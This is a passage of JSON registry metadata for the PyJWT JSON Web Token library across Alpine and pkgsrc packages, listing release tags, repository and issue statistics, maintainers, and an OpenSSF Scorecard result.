repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:35.971Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:apk/alpine/py3-jwt?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.22","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-jwt","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-jwt","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-jwt/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages/py3-jwt/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages/py3-jwt/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages/py3-jwt/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages/py3-jwt/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages/py3-jwt/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages/py3-jwt/codemeta","maintainers":[{"uuid":"michal@polanski.me","login":null,"name":"Michał Polański","email":null,"url":"https://pkgs.alpinelinux.org/packages?maintainer=Michał Polański","packages_count":354,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Michał Polański","role":null,"created_at":"2025-06-08T15:36:18.210Z","updated_at":"2025-06-08T15:36:18.210Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/maintainers/michal@polanski.me/packages"}],"registry":{"name":"alpine-v3.22","url":"https://pkgs.alpinelinux.org/packages?branch=v3.22","ecosystem":"alpine","default":false,"packages_count":26322,"maintainers_count":422,"namespaces_count":2,"keywords_count":4641,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":1728},"icon_url":"https://github.com/alpinelinux.png","created_at":"2025-06-05T10:49:56.987Z","updated_at":"2026-06-10T05:18:29.151Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.22/namespaces"}},{"id":14540052,"name":"textproc/py-JWT","ecosystem":"pkgsrc","description":"JSON Web Token implementation in Python","homepage":"https://github.com/jpadilla/pyjwt","licenses":"mit","normalized_licenses":["MIT"],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":["textproc","python"],"namespace":"textproc","versions_count":1,"first_release_published_at":"2026-03-19T09:12:45.000Z","latest_release_published_at":"2026-03-19T09:12:45.000Z","latest_release_number":"2.12.1","last_synced_at":"2026-05-27T10:18:33.320Z","created_at":"2026-05-27T10:18:32.830Z","updated_at":"2026-05-29T04:00:36.420Z","registry_url":"https://pkgsrc.se/textproc/py-JWT","install_command":"pkg_add py311-JWT","documentation_url":"https://pkgsrc.se/textproc/py-JWT","metadata":{"pkg_slug":"py-JWT","pkgbase":"py311-JWT","machine_arch":"x86_64","opsys":"NetBSD","pkgname_latest":"py311-JWT-2.12.1"},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"repo_metadata_updated_at":"2026-05-29T04:00:36.420Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:pkgsrc/textproc/py-JWT?arch=x86_64\u0026os=NetBSD","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/pkgsrc/textproc/py-JWT","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/pkgsrc/textproc/py-JWT","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/pkgsrc/textproc/py-JWT/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/pkgsrc-netbsd-x86_64-10.1-all/packages/textproc%2Fpy-JWT/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/pkgsrc-netbsd-x86_64-10.1-all/packages/textproc%2Fpy-JWT/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/pkgsrc-netbsd-x86_64-10.1-all/packages/textproc%2Fpy-JWT/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pkgsrc-netbsd-x86_64-10.1-all/packages/textproc%2Fpy-JWT/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pkgsrc-netbsd-x86_64-10.1-all/packages/textproc%2Fpy-JWT/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/pkgsrc-netbsd-x86_64-10.1-all/packages/textproc%2Fpy-JWT/codemeta","maintainers":[],"registry":{"name":"pkgsrc-netbsd-x86_64-10.1-all","url":"https://cdn.netbsd.org/pub/pkgsrc/packages/NetBSD/x86_64/10.1/All","ecosystem":"pkgsrc","default":true,"packages_count":19499,"maintainers_count":0,"namespaces_count":42,"keywords_count":308,"github":"pkgsrc","metadata":{"funded_packages_count":48},"icon_url":"https://github.com/pkgsrc.png","created_at":"2026-05-26T08:59:24.518Z","updated_at":"2026-06-09T05:04:46.058Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pkgsrc-netbsd-x86_64-10.1-all/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/pkgsrc-netbsd-x86_64-10.1-all/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/pkgsrc-netbsd-x86_64-10.1-all/namespaces"}},{"id":6086567,"name":"py2-jwt","ecosystem":"alpine","description":"Python JSON Web Token implementation (for python2)","homepage":"https://github.com/jpadilla/pyjwt","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":[],"namespace":"main","versions_count":1,"first_release_published_at":"2018-11-26T16:32:33.000Z","latest_release_published_at":"2018-11-26T16:32:33.000Z","latest_release_number":"1.6.4-r0","last_synced_at":"2026-03-05T05:20:30.593Z","created_at":"2023-01-31T20:09:11.100Z","updated_at":"2026-05-29T04:00:33.926Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.9/main/x86_64/py2-jwt","install_command":"apk add py2-jwt","documentation_url":null,"metadata":{"repository":"main","architecture":"x86_64"},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count"